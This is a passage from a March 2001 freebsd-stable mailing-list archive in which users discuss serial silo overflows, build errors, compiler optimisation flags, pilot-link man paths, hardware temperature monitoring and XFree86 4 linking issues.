From owner-freebsd-stable Sun Mar 11 0:15:42 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shark.harmonic.co.il (jupiter.harmonic.co.il [192.116.140.62]) by hub.freebsd.org (Postfix) with ESMTP id 45D7937B71B for ; Sun, 11 Mar 2001 00:15:35 -0800 (PST) (envelope-from roman@harmonic.co.il) Received: from localhost (roman@localhost) by shark.harmonic.co.il (8.9.3/8.9.3) with ESMTP id KAA19315; Sun, 11 Mar 2001 10:15:18 +0200 Date: Sun, 11 Mar 2001 10:15:18 +0200 (IST) From: Roman Shterenzon To: Rich Wales Cc: freebsd-stable@FreeBSD.ORG Subject: Re: Silo overflows In-Reply-To: <20010304065203.30478.richw@wyattearp.stanford.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I *think* that when I had this problem on a ThinkPad laptop, having 0x00008 | 0x20000 (from sio(4)) solved the problem, though, reading through source, I don't understand why, so it may be a coincidence. On Sat, 3 Mar 2001, Rich Wales wrote: > I'm running 4.2-RELEASE on an 800-MHz Athlon system. One of the > serial ports on this machine is connected to the serial console port > on a second machine (my home firewall/bridge, running 4.2-STABLE). > > The firewall's serial console speed is set to 115200. The builtin > serial ports on both machines are 16550A's. > > I'm getting lots and lots of silo overflows on the Athlon when I > generate a large amount of output from the firewall (e.g., if I do > "ls -ls", the output is badly garbled, and I get kernel messages on > the Athlon about silo overflows). > > The Athlon's serial port (sio1) is using IRQ 3, and is =not= sharing > this IRQ with any other hardware on the system. > > I've tried patching isa/sio.c to set a lower receive FIFO threshold, > but even with a threshold of FIFO_RX_MEDL, I still get silo overflows > unless I reduce the console speed to 19200 or slower. > > I'm really surprised that I should be getting silo overflows on an > 800-MHz Athlon -- which, I would think, should have plenty of computing > power available to handle serial interrupts without losing any input. > > It works flawlessly, BTW, if I run Win98 on the Athlon and connect to > the firewall via Hyperterm -- so I assume the problem is in the FreeBSD > serial port driver, and not in my hardware. > > I understand this "silo overflow" problem has been around for a long > time, but I wanted to bring it up again to make sure it wouldn't be > forgotten and would (hopefully) get fixed. > > Rich Wales richw@webcom.com http://www.webcom.com/richw/ > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 0:27:45 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns.klondike.ru (ns.klondike.ru [195.170.237.2]) by hub.freebsd.org (Postfix) with ESMTP id 9188D37B718 for ; Sun, 11 Mar 2001 00:27:39 -0800 (PST) (envelope-from zhecka@klondike.ru) Received: from freebsd.klondike.ru (freebsd [195.170.237.64]) by ns.klondike.ru (8.9.3/8.9.3) with SMTP id LAA01252 for ; Sun, 11 Mar 2001 11:27:35 +0300 (MSK) Message-Id: <200103110827.LAA01252@ns.klondike.ru> Date: Sun, 11 Mar 2001 11:30:10 +0000 From: Kaltashkin Eugene To: freebsd-stable@freebsd.org Subject: Strange error in make release X-Mailer: stuphead version 0.5.0 (GTK+ 1.2.8; FreeBSD 4.2-STABLE; i386) Organization: Klondike Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi ppls After cvsup 11.03.2001 i see this message. What is it ? ===> bin/csh/nls/greek install -c -o root -g wheel -m 444 tcsh.cat /usr2/release/usr/share/nls/el_GR.ISO_8859-7/tcsh.cat install: tcsh.cat: No such file or directory *** Error code 71 Stop in /usr/src/bin/csh/nls/greek. *** Error code 1 Stop in /usr/src/bin/csh/nls. *** Error code 1 Stop in /usr/src/bin/csh. *** Error code 1 Stop in /usr/src/bin. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src/release. -- Best Regards. ZHECKA-RIPN To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 0:36:34 2001 Delivered-To: freebsd-stable@freebsd.org Received: from burdell.cc.gatech.edu (burdell.cc.gatech.edu [130.207.3.207]) by hub.freebsd.org (Postfix) with ESMTP id 5165C37B718 for ; Sun, 11 Mar 2001 00:36:31 -0800 (PST) (envelope-from dibble@cc.gatech.edu) Received: from felix.cc.gatech.edu (felix.cc.gatech.edu [130.207.107.11]) by burdell.cc.gatech.edu (8.9.1/8.9.3) with ESMTP id DAA01516 for ; Sun, 11 Mar 2001 03:36:30 -0500 (EST) Received: from jefflee.cnd.gatech.edu (r55h47.res.gatech.edu [128.61.55.47]) by felix.cc.gatech.edu (8.9.3+Sun/8.9.1) with SMTP id DAA26244 for ; Sun, 11 Mar 2001 03:36:29 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: "Jeffrey J. Lee" Reply-To: dibble@cc.gatech.edu Organization: Georgia Tech To: freebsd-stable@freebsd.org Subject: Fwd: pilot-link docs Date: Sun, 11 Mar 2001 03:34:00 -0500 X-Mailer: KMail [version 1.2] MIME-Version: 1.0 Message-Id: <01031103340001.00471@jefflee.cnd.gatech.edu> Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I sent this to -newbies, but I never ended up getting it back or a reply,= so=20 I think something went wrong. Anyhow, I found the man pages for pilot-li= nk,=20 but they didn't install properly. I tried doing man * where * is a comma= nd=20 in the /usr/local/pilot/bin directory and it said that the man page wasn'= t=20 found. Any help would be appreciated. ---------- Forwarded Message ---------- Subject: pilot-link docs Date: Sat, 10 Mar 2001 13:44:17 -0500 From: Jeffrey J. Lee To: freebsd-newbies@freebsd.org Does anyone happen to know where I could get some documentation on the pilot-link package? I know that it is a very powerful group of programs,= but i can't use them if I don't know all the workings of them. Thanks. -- #################### Jeff Lee Dibble@cc.gatech.edu ------------------------------------------------------- --=20 #################### Jeff Lee Dibble@cc.gatech.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 0:52:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shark.harmonic.co.il (jupiter.harmonic.co.il [192.116.140.62]) by hub.freebsd.org (Postfix) with ESMTP id 4115E37B718 for ; Sun, 11 Mar 2001 00:52:45 -0800 (PST) (envelope-from roman@harmonic.co.il) Received: from localhost (roman@localhost) by shark.harmonic.co.il (8.9.3/8.9.3) with ESMTP id KAA20572; Sun, 11 Mar 2001 10:52:31 +0200 Date: Sun, 11 Mar 2001 10:52:30 +0200 (IST) From: Roman Shterenzon To: Kris Kennaway Cc: stable@FreeBSD.ORG Subject: Re: HEADS UP: lots of updates In-Reply-To: <20010304020209.A29788@mollari.cthul.hu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 4 Mar 2001, Kris Kennaway wrote: ..snip.. > > The big news is the new CPUTYPE code (described in > /etc/defaults/make.conf), which is a hook for describing the CPU type > you want to optimize the build for (pentium, pentium pro, alpha EV6, > ...). The makefile logic will add the correct gcc compiler flags to ..snip.. I *think* that for K6-2 having -march=pentium gives better performance than -march=k6 ; could someone prove it or prove it wrong? Thanks, --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 1:20:26 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mfo01.iij.ad.jp (mfo01.iij.ad.jp [202.232.2.118]) by hub.freebsd.org (Postfix) with ESMTP id A366F37B718 for ; Sun, 11 Mar 2001 01:20:21 -0800 (PST) (envelope-from toyonaga@rr.iij4u.or.jp) Received: from rr.iij4u.or.jp (rr.iij4u.or.jp [210.130.0.42]) by mfo01.iij.ad.jp (8.8.8/MFO1.3) with ESMTP id SAA01720 for ; Sun, 11 Mar 2001 18:20:20 +0900 (JST) Received: from localhost (h021.p065.iij4u.or.jp [210.130.65.21]) by rr.iij4u.or.jp (8.8.8+2.2IIJ/4U1.1) with ESMTP id SAA28110 for ; Sun, 11 Mar 2001 18:20:18 +0900 (JST) Message-Id: <200103110920.SAA28110@rr.iij4u.or.jp> To: freebsd-stable@freebsd.org Subject: Re: tcp_usrreq.c is broken? In-reply-to: Your message of "Sat, 10 Mar 2001 15:42:10 PST." <20010310154209.A23785@mollari.cthul.hu> Reply-To: toyonaga@rr.iij4u.or.jp MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <64836.984302426.1@localhost> Content-Transfer-Encoding: 7bit Date: Sun, 11 Mar 2001 18:20:26 +0900 From: =?ISO-2022-JP?B?GyRCSy0xSkMjP00bKEI=?= Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My config had TCPDEBUG option and stopped at the same line in buildkernel after buildworkld. GENERIC compiled fine. So I exclued the TCPDEBUG option and now its OK. In message <20010310154209.A23785@mollari.cthul.hu>, Kris Kennaway writes: > >--7JfCtLOvnd9MIVvH >Content-Type: text/plain; charset=us-ascii >Content-Disposition: inline >Content-Transfer-Encoding: quoted-printable > >On Sun, Mar 11, 2001 at 01:14:10AM +0300, Martin McFlySr wrote: >> Hello , >>=20 >> 4.2S, >>=20 >> #config Kernel >> ... >> #cd ../../compile/Kernel >> #make depend >> ... >> #make >> ... >> cc -c -O -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -W= >missing >> -prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -an= >si -no >> stdinc -I- -I. -I../.. -I../../../include -D_KERNEL -include opt_global.= >h -elf >> -mpreferred-stack-boundary=3D2 ../../netinet/tcp_usrreq.c >> ../../netinet/tcp_usrreq.c: In function `tcp_usr_accept': >> ../../netinet/tcp_usrreq.c:424: syntax error before `int' >> ../../netinet/tcp_usrreq.c:424: `ostate' undeclared (first use in this fu= >nction) >> ../../netinet/tcp_usrreq.c:424: (Each undeclared identifier is reported o= >nly once >> ../../netinet/tcp_usrreq.c:424: for each function it appears in.) >> ../../netinet/tcp_usrreq.c:418: warning: `tp' might be used uninitialized= > in this >> function >> *** Error code 1 =20 >>=20 >>=20 >> what i can doing for fix this? i make cvsup some ninutes ago, but no frehs >> tcp_usrreq.c :( > >It works for me. Perhaps you have a corrupted or incompletely updated sour= >ce tree. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 1:48:48 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shark.harmonic.co.il (jupiter.harmonic.co.il [192.116.140.62]) by hub.freebsd.org (Postfix) with ESMTP id 15B7F37B719 for ; Sun, 11 Mar 2001 01:48:45 -0800 (PST) (envelope-from roman@harmonic.co.il) Received: from localhost (roman@localhost) by shark.harmonic.co.il (8.9.3/8.9.3) with ESMTP id LAA22863; Sun, 11 Mar 2001 11:48:33 +0200 Date: Sun, 11 Mar 2001 11:48:33 +0200 (IST) From: Roman Shterenzon To: Matt Dillon Cc: "freebsd-stable@FreeBSD.ORG" Subject: Re: RE: ARCH flag in new make.conf In-Reply-To: <200103071856.f27Iuxl71513@earth.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just wanted to say that for RELENG_3 with gcc 2.7.2.3 or whatever it was, -O2 worked just fine for me (both kernel and userland, I stopped building userland with -O2 since 3.3 because it took much more time to build world). Also, linux that used the same gcc always built kernel with -O2. So, I believe that 2.95.2 is the one that having the problems. Why/is it better vs. the former compiler? On Wed, 7 Mar 2001, Matt Dillon wrote: > :The impression I get is that when people use it, they usually end up > :complaining to the list about something not working, and then it is > :not immediately obvious that broken optimization routines are the problem. On > :the basis of a dialogue I read about 6 months ago on this list, > :I decided to avoid it like the plague until the current version of gcc > :stabilizes somewhat. Does that make sense, or am I being overly cautious? > > I think you are being entirely sensible. I used to use -O2 all the time, > but as of about a year ago it started breaking things (starting with > the FreeBSD kernel). Then I started using -Os because I like the code > compaction it produced, but that started breaking the kernel too. Now I > just use -O (and -O had damn well better continue to work because my > static inlines will not compile properly without it!). > > Now I just don't care any more, except for the 0.1% of my personal code > that I need to optimize, and most of that I optimize simply by playing > around with the C a little or changing an algorithm out or something like > that. > > -Matt > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 2:11:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shark.harmonic.co.il (jupiter.harmonic.co.il [192.116.140.62]) by hub.freebsd.org (Postfix) with ESMTP id 5C22337B718 for ; Sun, 11 Mar 2001 02:11:47 -0800 (PST) (envelope-from roman@harmonic.co.il) Received: from localhost (roman@localhost) by shark.harmonic.co.il (8.9.3/8.9.3) with ESMTP id MAA23663; Sun, 11 Mar 2001 12:11:41 +0200 Date: Sun, 11 Mar 2001 12:11:41 +0200 (IST) From: Roman Shterenzon To: Lee Cremeans Cc: stable@FreeBSD.ORG Subject: Re: ABIT KT7 and temp monitoring In-Reply-To: <20010308153133.A2688@lcremeans.homeip.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm sure that it doesn't help you, but all the computers I'd FreeBSD installed on couldn't work with all lmmon apps, though smb0 on smbus0 on intpm0 was found. Neither they worked with /dev/io. On Thu, 8 Mar 2001, Lee Cremeans wrote: > Has anyone been able to get healthd or any of the temperature monitoring > tools in ports/ to to work on a ABIT KT7? I tried both, and neither can find > the chip on my board (healthd dies, the other utility gives me bogus data). > Any ideas? I'm running FreeBSD 4.2-STABLE. > > -lee > > -- > +--------------------------------------------------------------------+ > | Lee Cremeans -- Manassas, VA, USA (WakkyMouse on WTnet) | > | lcremeans@erols.com | http://wakky.dyndns.org/~lee | > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 2:18:38 2001 Delivered-To: freebsd-stable@freebsd.org Received: from level3.dynacom.net (level3.dynacom.net [206.107.213.213]) by hub.freebsd.org (Postfix) with SMTP id D91D737B718 for ; Sun, 11 Mar 2001 02:18:33 -0800 (PST) (envelope-from kstewart@urx.com) Received: (qmail 17655 invoked by uid 0); 11 Mar 2001 10:18:32 -0000 Received: from unknown (HELO urx.com) (206.159.132.160) by mail.urx.com with SMTP; 11 Mar 2001 10:18:32 -0000 Message-ID: <3AAB50F8.720403DF@urx.com> Date: Sun, 11 Mar 2001 02:18:32 -0800 From: Kent Stewart Reply-To: kstewart@urx.com Organization: Dynacom X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Roman Shterenzon Cc: Lee Cremeans , stable@FreeBSD.ORG Subject: Re: ABIT KT7 and temp monitoring References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Roman Shterenzon wrote: > > I'm sure that it doesn't help you, but all the computers I'd FreeBSD > installed on couldn't work with all lmmon apps, though smb0 on smbus0 on > intpm0 was found. Neither they worked with /dev/io. What it can find looks like pcf0: at port 0x320-0x321 irq 5 on isa0 iicbus0: on pcf0 addr 0xaa iicsmb0: on iicbus0 smbus0: on iicsmb0 smb0: on smbus0 iic0: on iicbus0 but still doesn't work. The Via HWM doesn't work on my VP6 either. Kent > > On Thu, 8 Mar 2001, Lee Cremeans wrote: > > > Has anyone been able to get healthd or any of the temperature monitoring > > tools in ports/ to to work on a ABIT KT7? I tried both, and neither can find > > the chip on my board (healthd dies, the other utility gives me bogus data). > > Any ideas? I'm running FreeBSD 4.2-STABLE. > > > > -lee > > > > -- > > +--------------------------------------------------------------------+ > > | Lee Cremeans -- Manassas, VA, USA (WakkyMouse on WTnet) | > > | lcremeans@erols.com | http://wakky.dyndns.org/~lee | > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > > > --Roman Shterenzon, UNIX System Administrator and Consultant > [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message -- Kent Stewart Richland, WA mailto:kbstew99@hotmail.com http://kstewart.urx.com/kstewart/index.html FreeBSD News http://daily.daemonnews.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 2:29:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from shark.harmonic.co.il (jupiter.harmonic.co.il [192.116.140.62]) by hub.freebsd.org (Postfix) with ESMTP id 6A5A737B718 for ; Sun, 11 Mar 2001 02:29:48 -0800 (PST) (envelope-from roman@harmonic.co.il) Received: from localhost (roman@localhost) by shark.harmonic.co.il (8.9.3/8.9.3) with ESMTP id MAA24444; Sun, 11 Mar 2001 12:29:38 +0200 Date: Sun, 11 Mar 2001 12:29:38 +0200 (IST) From: Roman Shterenzon To: Irvine Short Cc: stable@FreeBSD.ORG Subject: Re: XF86 4 on 4.3-RELEASE? In-Reply-To: <3AA8EDAF.21A1A7B5@sanbi.ac.za> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Wrong. Also, when having XF4 install, many things cannot be installed without having LDFLAGS+=-pthread (for example: fltk, kde2 ..) and even changing some makefiles by hand or by perl -pi when LDFLAGS doesn't help :( The reason for this is AFAICT is that libGL is linked with -pthread, but this information absent in the libGL.so, so the linker doesn't know that libs that depend on libGL have to be linked with -pthread in order to link properly. Digging in XF4 makefiles it seems that everything is done properly, so I'm afraid that since it's not an external lib, say libpthread, this information cannot be stored in libGL.so I hope that I'm wrong, someone, please correct me.. On Fri, 9 Mar 2001, Irvine Short wrote: > Thanks for the replies, all. > > I was asking 'cos I believe KDE 2.1 depends on it. > > Anyone know if KDE 2 or 1 will ship in the 4.3CD? > > Cheers all > > Irvine > > Jordan Hubbard wrote: > > > > From: Irvine Short > > Subject: XF86 4 on 4.3-RELEASE? > > Date: Fri, 09 Mar 2001 12:12:55 +0200 > > > > > XF86 4 on 4.3-RELEASE? > > > > > > Anyone know if this will be the case? > > > > Nope. When XFree86 4.x: > > > > a) Supports a reasonable superset of all cards supported by 3.3.6 > > > > b) Doesn't halve OpenGL performance on cards like Matrox and nVidia > > (3dfx sucks so much on both that it's not an issue). > > > > c) Doesn't have a configuration tool which confuses new users > > even more than the old configuration tool did. > > > > Then I think it'll be a good time to switch. I expect that'll probably > > be XFree86 4.1. > > > > - Jordan > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-stable" in the body of the message > > -- > > Irvine Short > > Sys Admin > SANBI, University of the Western Cape, South Africa > http://www.sanbi.ac.za > tel: +27-21-959 3645 > fax: +27-21-959 2512 > cel: +27-82-494 3828 > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message > --Roman Shterenzon, UNIX System Administrator and Consultant [ Xpert UNIX Systems Ltd., Herzlia, Israel. Tel: +972-9-9522361 ] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 3:15:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns5.pacific.net.au (ns5.pacific.net.au [203.143.252.30]) by hub.freebsd.org (Postfix) with ESMTP id ABB1D37B719 for ; Sun, 11 Mar 2001 03:15:20 -0800 (PST) (envelope-from mckay@thehub.com.au) Received: from dungeon.home (ppp223.dyn250.pacific.net.au [203.143.250.223]) by ns5.pacific.net.au (8.9.0/8.9.1) with ESMTP id WAA14653; Sun, 11 Mar 2001 22:15:06 +1100 (EST) Received: from dungeon.home (localhost [127.0.0.1]) by dungeon.home (8.11.1/8.11.1) with ESMTP id f2BATj518491; Sun, 11 Mar 2001 20:29:45 +1000 (EST) (envelope-from mckay) Message-Id: <200103111029.f2BATj518491@dungeon.home> To: stable@freebsd.org Cc: mckay@thehub.com.au, mvh@ix.netcom.com, bde@zeta.org.au, mi@aldan.algebra.com Subject: Re: load stays at 1 on an idle machine References: <20010310132722.BF1A4113E7A@netcom1.netcom.com> In-Reply-To: <20010310132722.BF1A4113E7A@netcom1.netcom.com> from Mike Harding at "Sat, 10 Mar 2001 13:27:22 +0000" Date: Sun, 11 Mar 2001 20:29:45 +1000 From: Stephen McKay Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Saturday, 10th March 2001, Mike Harding wrote: >I have seen this behavior a number of times over the years, but never >tracked it down. Me too. This happens to me several times a year, and has done for years. Generally, very soon after noticing it, whatever I do to examine it causes it to return to normal (ie load-average very near zero). >I have noticed that when this happes, the load is basically a >completely stable value of 1.0 or very close to it, almost like it is >in a locally stable state. I have xload always running and it will be perfectly flat at 1.0 load. Other commands will confirm this (top, uptime). Then the load average mysteriously returns to normal with no real intervention. Stephen. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 3:16:13 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dart.sr.se (dart.SR.SE [193.12.91.98]) by hub.freebsd.org (Postfix) with ESMTP id 7A11437B718 for ; Sun, 11 Mar 2001 03:16:09 -0800 (PST) (envelope-from gunnar@pluto.sr.se) Received: from honken.sr.se ([134.25.128.27]) by dart.sr.se (8.9.3/8.9.3) with ESMTP id MAA20570 for ; Sun, 11 Mar 2001 12:16:08 +0100 (CET) (envelope-from gunnar@pluto.sr.se) Received: from pluto.sr.se (pluto.SR.SE [134.25.193.91]) by honken.sr.se (8.9.3/8.9.3) with ESMTP id MAA67942 for ; Sun, 11 Mar 2001 12:16:07 +0100 (CET) (envelope-from gunnar@pluto.sr.se) Received: (from root@localhost) by pluto.sr.se (8.11.2/8.11.1) id f2BBG7s27378 for freebsd-stable@freebsd.org; Sun, 11 Mar 2001 12:16:07 +0100 (CET) (envelope-from gunnar) Received: (from gunnar@localhost) by pluto.sr.se (8.11.2/8.11.1av) id f2BBG5B27364 for freebsd-stable@freebsd.org; Sun, 11 Mar 2001 12:16:05 +0100 (CET) (envelope-from gunnar) Date: Sun, 11 Mar 2001 12:16:05 +0100 From: Gunnar Flygt To: FreeBSD Stable Subject: Mixer not working anymore Message-ID: <20010311121605.A27250@sr.se> Reply-To: Gunnar Flygt Mail-Followup-To: Gunnar Flygt , FreeBSD Stable Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i X-Virus-Scanned: by AMaViS perl-10 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I cvsup'ed tonight, rebult world and now my mixer device isn't working. Anyone else having similar problems? -- __o regards, Gunnar ---_ \<,_ email: flygt@sr.se ---- (_)/ (_) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 3:36:36 2001 Delivered-To: freebsd-stable@freebsd.org Received: from gw-nl1.origin-it.com (gw-nl1.origin-it.com [193.79.128.34]) by hub.freebsd.org (Postfix) with ESMTP id C6EB137B718 for ; Sun, 11 Mar 2001 03:36:32 -0800 (PST) (envelope-from Helge.Oldach@de.origin-it.com) Received: from mail.de.origin-it.com (localhost.origin-it.com [127.0.0.1]) by gw-nl1.origin-it.com with ESMTP id MAA18346; Sun, 11 Mar 2001 12:36:30 +0100 (MET) (envelope-from Helge.Oldach@de.origin-it.com) Received: from smtprelay-de1.origin-it.com(172.16.188.53) by gw-nl1.origin-it.com via mwrap (4.0a) id xma018344; Sun, 11 Mar 01 12:36:31 +0100 Received: from mailhub.de.origin-it.com (mailhub.de.origin-it.com [172.16.189.20]) by mail.de.origin-it.com (8.9.3/8.8.5-1.2.2m-19990317) with ESMTP id MAA16981; Sun, 11 Mar 2001 12:36:30 +0100 (MET) Received: from galaxy.de.cp.philips.com (galaxy.de.cp.philips.com [130.143.166.29]) by mailhub.de.origin-it.com (8.11.2/8.11.2/hmo23oct00) with ESMTP id f2BBaSG47279; Sun, 11 Mar 2001 12:36:29 +0100 (CET) (envelope-from Helge.Oldach@de.origin-it.com) Received: (from hmo@localhost) by galaxy.de.cp.philips.com (8.9.3/8.9.3/hmo14aug98) id MAA03852; Sun, 11 Mar 2001 12:36:27 +0100 (MET) Message-Id: <200103111136.MAA03852@galaxy.de.cp.philips.com> Subject: Re: Fwd: pilot-link docs In-Reply-To: <01031103340001.00471@jefflee.cnd.gatech.edu> from "Jeffrey J. Lee" at "Mar 11, 2001 3:34: 0 am" To: dibble@cc.gatech.edu Date: Sun, 11 Mar 2001 12:36:26 +0100 (MET) Cc: freebsd-stable@freebsd.org From: Helge Oldach X-Address: Atos Origin GmbH, Billstrasse 80, D-20539 Hamburg, Germany X-Phone: +49 40 7886 464, Fax: +49 40 7886 235, Mobile: +49 160 4782517 MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jeffrey J. Lee: >I sent this to -newbies, but I never ended up getting it back or a reply, so >I think something went wrong. Anyhow, I found the man pages for pilot-link, >but they didn't install properly. I tried doing man * where * is a command >in the /usr/local/pilot/bin directory and it said that the man page wasn't >found. Any help would be appreciated. You will need to add OPTIONAL_MANPATH /usr/local/pilot/man MANPATH_MAP /usr/local/pilot/bin /usr/local/pilot/man to /etc/manpath.config. Helge To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 3:38:28 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-158.dsl.lsan03.pacbell.net [63.207.60.158]) by hub.freebsd.org (Postfix) with ESMTP id BB5D037B718 for ; Sun, 11 Mar 2001 03:38:22 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id AEB2266F0B; Sun, 11 Mar 2001 03:38:21 -0800 (PST) Date: Sun, 11 Mar 2001 03:38:21 -0800 From: Kris Kennaway To: Gunnar Flygt Cc: FreeBSD Stable Subject: Re: Mixer not working anymore Message-ID: <20010311033821.A40247@mollari.cthul.hu> References: <20010311121605.A27250@sr.se> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="82I3+IH0IqGh5yIs" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010311121605.A27250@sr.se>; from flygt@sr.se on Sun, Mar 11, 2001 at 12:16:05PM +0100 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --82I3+IH0IqGh5yIs Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Sun, Mar 11, 2001 at 12:16:05PM +0100, Gunnar Flygt wrote: > I cvsup'ed tonight, rebult world and now my mixer device isn't working. > Anyone else having similar problems? Did you build your kernel as well? You don't say. Kris --82I3+IH0IqGh5yIs Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6q2OtWry0BWjoQKURAnalAJ9c0lVcB25aByh5z/8RqQxuGvgqiACghjg/ e/gMDX9A5hkngured/yRiWM= =HYri -----END PGP SIGNATURE----- --82I3+IH0IqGh5yIs-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 4: 5:25 2001 Delivered-To: freebsd-stable@freebsd.org Received: from musique.teaser.fr (musique.teaser.net [213.91.2.11]) by hub.freebsd.org (Postfix) with ESMTP id 4734D37B719 for ; Sun, 11 Mar 2001 04:05:20 -0800 (PST) (envelope-from jaco@teaser.fr) Received: from titine.fr.eu.org (Cour-N1D41-227.teaser.net [213.91.41.227]) by musique.teaser.fr (Postfix) with ESMTP id 7D2FB7250F for ; Sun, 11 Mar 2001 13:05:17 +0100 (CET) Received: by titine.fr.eu.org (Postfix, from userid 1001) id 4736C3308; Sun, 11 Mar 2001 13:02:36 +0100 (CET) X-Attribution: Jaco To: freebsd-stable@FreeBSD.ORG Subject: 